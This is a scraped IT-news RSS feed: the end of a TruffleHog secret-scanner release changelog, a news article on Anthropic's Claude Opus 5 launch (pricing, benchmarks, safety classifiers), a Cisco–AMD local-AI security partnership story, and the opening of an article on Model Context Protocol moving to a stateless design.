<li>Update Cloudflare detectors for 2026+ prefixed credential formats (include upstream PR changes) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4817025959" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5111" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5111/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5111">#5111</a></li>
<li>[INS-312] Duo API Secret Key Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3994103061" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4771" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4771/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4771">#4771</a></li>
<li>[Feature] Added SonarQube Cloud "Scoped Organization Token" Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nabeelalam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nabeelalam">@nabeelalam</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3925861219" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4739" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4739/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4739">#4739</a></li>
<li>[INS-255] Updated datadog detector to set verificationError in case of a verification error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3812485778" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4661" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4661/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4661">#4661</a></li>
<li>Log analyze errors for Postgres analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4890144471" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5131" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5131/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5131">#5131</a></li>
<li>Log analyze errors for HuggingFace analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4889921966" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5130" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5130/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5130">#5130</a></li>
<li>Engine - Config.SourceManager doc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanfcp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanfcp">@amanfcp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4563649430" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5002" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5002/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5002">#5002</a></li>
<li>Update module github.com/go-git/go-git/v5 to v5.19.1 [SECURITY] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/renovate/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/renovate">@renovate</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642514134" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5034" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5034/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5034">#5034</a></li>
<li>Retry git clone on transient network errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894687674" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5132" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5132/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5132">#5132</a></li>
<li>Fix <code>scan_all_installations</code> Rejecting Org Member Personal Repos by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4930360573" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5142" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5142/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5142">#5142</a></li>
<li>updated detector to include underscore char by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856829937" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5121" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5121/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5121">#5121</a></li>
<li>[chore] Change job_id in metric to source_type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953017010" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5149" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5149/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5149">#5149</a></li>
<li>Posthog regex update by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4902316600" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5133" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5133/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5133">#5133</a></li>
<li>fix(handlers): apk handler now doesnt check for apk extension since json-enumerator and other byte stream methods wouldnt have it by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/johannestaas-trufflesec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/johannestaas-trufflesec">@johannestaas-trufflesec</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954699768" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5151" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5151/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5151">#5151</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856829937" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5121" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5121/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5121">#5121</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/trufflesecurity/trufflehog/compare/v3.95.9...v3.96.0"><tt>v3.95.9...v3.96.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
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<title><![CDATA[Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems]]></title>
<description><![CDATA[Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.



During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Pat...]]></description>
<link>https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</guid>
<pubDate>Fri, 24 Jul 2026 19:18:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.</p>



<p class="wp-block-paragraph">During AMD’s <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Advancing AI event</a> this week, Cisco’s president and chief product officer <a href="https://www.networkworld.com/article/4184554/how-jeetu-patel-made-cisco-unrecognizable.html">Jeetu Patel</a> took to the stage during AMD CEO <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Lisa Su’s keynote</a> to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and <a href="https://www.networkworld.com/article/4199402/helios-marks-amds-biggest-ai-infrastructure-push-yet.html">AMD</a> are partnering to develop.</p>



<p class="wp-block-paragraph">The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s <a href="https://www.linkedin.com/in/yash-sheth-/">Yash Sheth</a>, senior director, engineering and research, in a <a href="https://blogs.cisco.com/ai/from-one-desk-to-the-whole-enterprise-making-local-ai-resilient">blog post</a> about the new package.</p>



<p class="wp-block-paragraph"><a href="https://www.amd.com/en/products/processors/desktops/ryzen/ryzen-ai-halo.html?gad_source=1&amp;gad_campaignid=24009436319&amp;gbraid=0AAAAApk3AUDJs1_xMEd2YjxcG8iJu-gS4&amp;gclid=Cj0KCQjw94bTBhDQARIsAN3vv0xmM9xu9mXa5H5zAbKFqNzUy1FPP5AS-lOA1qXh1a9bmw54LMQtYXgaArV-EALw_wcB">Ryzen AI Halo</a> (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.</p>



<p class="wp-block-paragraph">Cisco also brings its <a href="https://www.networkworld.com/article/4148823/cisco-goes-all-in-on-agentic-ai-security.html">AI Defense</a> for model and agent security; <a href="https://www.networkworld.com/article/4179673/cisco-brings-agentic-ops-platform-and-security-overhaul-to-cisco-live.html">DefenseClaw</a> for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and <a href="https://www.networkworld.com/article/4180810/what-is-cisco-cloud-control-and-why-should-customers-care.html">Cisco Cloud Control</a> offering a single pane of glass for unified policy and control, Sheth stated.</p>



<p class="wp-block-paragraph">“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.</p>



<p class="wp-block-paragraph">“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”</p>



<p class="wp-block-paragraph">As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a <a href="https://newsroom.amd.com/news/aai-2026-cisco-client-partnership-update/">statement</a> from AMD.</p>



<p class="wp-block-paragraph">“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.</p>



<p class="wp-block-paragraph">“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.</p>



<p class="wp-block-paragraph">A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:</p>



<ul class="wp-block-list">
<li>AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.</li>



<li>AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.</li>



<li>The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.</li>



<li>Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.</li>
</ul>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:40:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



